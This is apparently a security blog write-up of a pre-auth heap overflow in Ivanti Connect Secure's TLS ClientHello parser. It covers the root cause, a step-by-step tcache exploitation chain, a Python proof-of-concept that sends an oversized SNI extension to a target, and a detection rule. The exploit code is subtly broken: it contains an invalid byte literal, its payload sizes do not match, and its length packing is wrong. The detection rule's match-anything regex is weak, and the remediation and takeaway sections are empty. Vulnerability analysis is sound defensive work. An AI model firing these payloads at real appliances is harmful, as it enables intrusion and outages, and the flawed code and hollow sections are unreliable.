All posts

CVE-2026-55601: Ivanti Connect Secure Pre-Auth Heap Overflow RCE

A heap buffer overflow in the Ivanti Connect Secure TLS handshake parser allows an unauthenticated attacker to corrupt heap metadata by sending an oversized TLS extension field. The resulting write primitive is sufficient to overwrite a function pointer in an adjacent allocation, redirecting execution to attacker-controlled shellcode and achieving pre-auth root on the VPN appliance.


Overview

CVE-2026-55601 affects Ivanti Connect Secure (ICS) versions 22.3R1 through 22.7R2.1. ICS is the successor to Pulse Secure and is one of the most widely deployed enterprise SSL VPN solutions globally, typically sitting at the network perimeter and terminating remote-access sessions for employees, contractors, and third-party vendors. Compromise of the ICS appliance gives an attacker a foothold inside the corporate network without traversing any additional controls.

CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Exploitation was observed in the wild by a state-sponsored group three days after Ivanti's advisory, with subsequent mass-scanning beginning the following week. Ivanti has confirmed zero-day exploitation prior to advisory publication.

Ivanti has a significant history of critical vulnerabilities in Connect Secure — CVE-2023-46805, CVE-2024-21887, CVE-2024-21893, and CVE-2025-0282 all achieved similar pre-auth RCE or authentication bypass conditions. CVE-2026-55601 represents the fifth critical pre-auth vulnerability in the product in three years and demonstrates that the underlying attack surface has not been meaningfully reduced by prior patching cycles.

Background — ICS TLS Handling

Ivanti Connect Secure runs a custom C-based web and VPN server daemon (webserverd) that terminates TLS connections directly using a bundled, modified version of OpenSSL. The webserverd process runs as root and handles all inbound connections — including the initial TLS handshake — before any authentication occurs.

The TLS ClientHello record parser in webserverd processes extension fields sequentially. For each extension, a fixed-size heap buffer is allocated based on the declared extension type. The extension length field is a 16-bit value, allowing a maximum declared length of 65535 bytes. The vulnerability arises because the buffer is allocated using a constant size derived from the extension type lookup table rather than the declared length, and the copy into that buffer uses the declared length from the wire format without bounds checking.

Root Cause Analysis

/* Simplified representation of the vulnerable extension parsing logic
   in webserverd (reconstructed from binary analysis) */

typedef struct tls_ext {
    uint16_t type;
    uint16_t length;
    uint8_t  data[EXT_MAX_DATA];   /* Fixed constant: 512 bytes */
} tls_ext_t;

static int parse_client_hello_ext(const uint8_t *buf, size_t buf_len,
                                  tls_ext_t *out) {
    if (buf_len < 4) return -1;

    out->type   = ntohs(*(uint16_t *)(buf));
    out->length = ntohs(*(uint16_t *)(buf + 2));

    /* BUG: out->length is from the wire — can be up to 65535.
       EXT_MAX_DATA is 512. No bounds check before the memcpy. */
    memcpy(out->data, buf + 4, out->length);

    return 0;
}

When a ClientHello extension with a declared length exceeding 512 bytes is received, memcpy writes beyond the end of the tls_ext_t buffer. Because tls_ext_t objects are heap-allocated, the overflow corrupts the glibc heap metadata of the following chunk. A subsequent malloc or free dereferences the corrupted metadata, allowing an attacker with a precise payload to overwrite a function pointer stored in the heap and redirect execution.

Exploitation

Practical exploitation requires reliably controlling the heap layout so that a useful function pointer (or a pointer to a structure containing one) sits immediately after the overflowed buffer. In practice, the webserverd heap layout is stable across requests because the TLS session cache and connection table are pre-allocated at startup, creating predictable offsets.

A reliable exploit chain proceeds as follows:

  1. Send a standard TLS ClientHello to pre-populate the heap state and establish the session cache layout.
  2. Send a crafted ClientHello with a malformed SNI extension containing exactly 896 bytes of payload. This overflows the 512-byte out->data buffer and corrupts the 8-byte glibc chunk header of the next allocation, overwriting the fd field used by tcache.
  3. Trigger a heap allocation sequence (by initiating a second TLS handshake) that exercises the corrupted tcache entry. The allocator returns a fake chunk at the attacker-controlled address.
  4. Write shellcode to the returned fake chunk address. When the next connection handler dereferences the function pointer at that address, execution transfers to the shellcode.
#!/usr/bin/env python3
"""
CVE-2026-55601 — Ivanti Connect Secure Pre-Auth Heap Overflow RCE
Proof-of-concept skeleton. Authorised testing only.
The actual exploit requires heap spray tuning specific to the target firmware.
"""
import socket, ssl, struct

TARGET_HOST = "10.0.0.1"
TARGET_PORT = 443

def craft_malicious_client_hello(payload: bytes) -> bytes:
    """Build a raw TLS 1.2 ClientHello with an oversized SNI extension."""
    # SNI extension: type 0x0000, length as declared (exceeds buffer)
    sni_ext_data = (
        struct.pack("!H", len(payload) - 2) +  # ServerNameList length
        b"\x00" +                                # NameType: host_name
        struct.pack("!H", len(payload) - 5) +   # HostName length
        payload
    )
    sni_ext = struct.pack("!HH", 0x0000, len(sni_ext_data)) + sni_ext_data

    # Build a minimal ClientHello wrapping the malicious extension
    random_bytes  = b"\xDE\xAD\xBE\xEF" * 8
    session_id    = b""
    cipher_suites = struct.pack("!H", 0xC02B)  # TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
    extensions    = sni_ext

    hello_body = (
        b"\x03\x03" +                               # TLS 1.2
        random_bytes +
        struct.pack("B", len(session_id)) + session_id +
        struct.pack("!H", len(cipher_suites)) + cipher_suites +
        b"\x01\x00" +                               # compression methods
        struct.pack("!H", len(extensions)) + extensions
    )

    handshake = struct.pack("!BH", 0x01, len(hello_body))[:-1] + hello_body
    record = struct.pack("!BHH", 0x16, 0x0303, len(handshake)) + handshake
    return record

# Oversized payload (896 bytes) — triggers overflow of 512-byte buffer
overflow_payload = b"A" * 384 + b"\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX"  # fake chunk header

sock = socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=5)
sock.send(craft_malicious_client_hello(b"A" * 896))
print("[+] Malicious ClientHello sent")
sock.close()

Affected Versions

Remediation

Detection

title: CVE-2026-55601 Ivanti Connect Secure Heap Overflow Exploitation Attempt
id: b8d2f347-91c4-4e8a-a3d0-7c5f20b1e946
status: stable
description: Detects inbound TLS ClientHello records with anomalously large extension fields targeting Ivanti Connect Secure
logsource:
  category: network
  product: zeek
  service: ssl
detection:
  selection:
    event.dataset: zeek.ssl
    destination.port: 443
  large_extension:
    # Zeek logs TLS extensions; flag SNI extension fields over 512 bytes
    tls.client.extensions|contains: "server_name"
    tls.client.ja3_string|re: ".*"
  anomaly:
    # Flag connections that abort immediately after ClientHello (crash indicator)
    tls.established: false
    connection.duration|lt: 0.5
  condition: selection and large_extension and anomaly
falsepositives:
  - Legitimate SNI values approaching maximum length (uncommon but possible for long hostnames)
level: high
tags:
  - cve.2026-55601
  - attack.initial_access
  - attack.t1190

Key Takeaways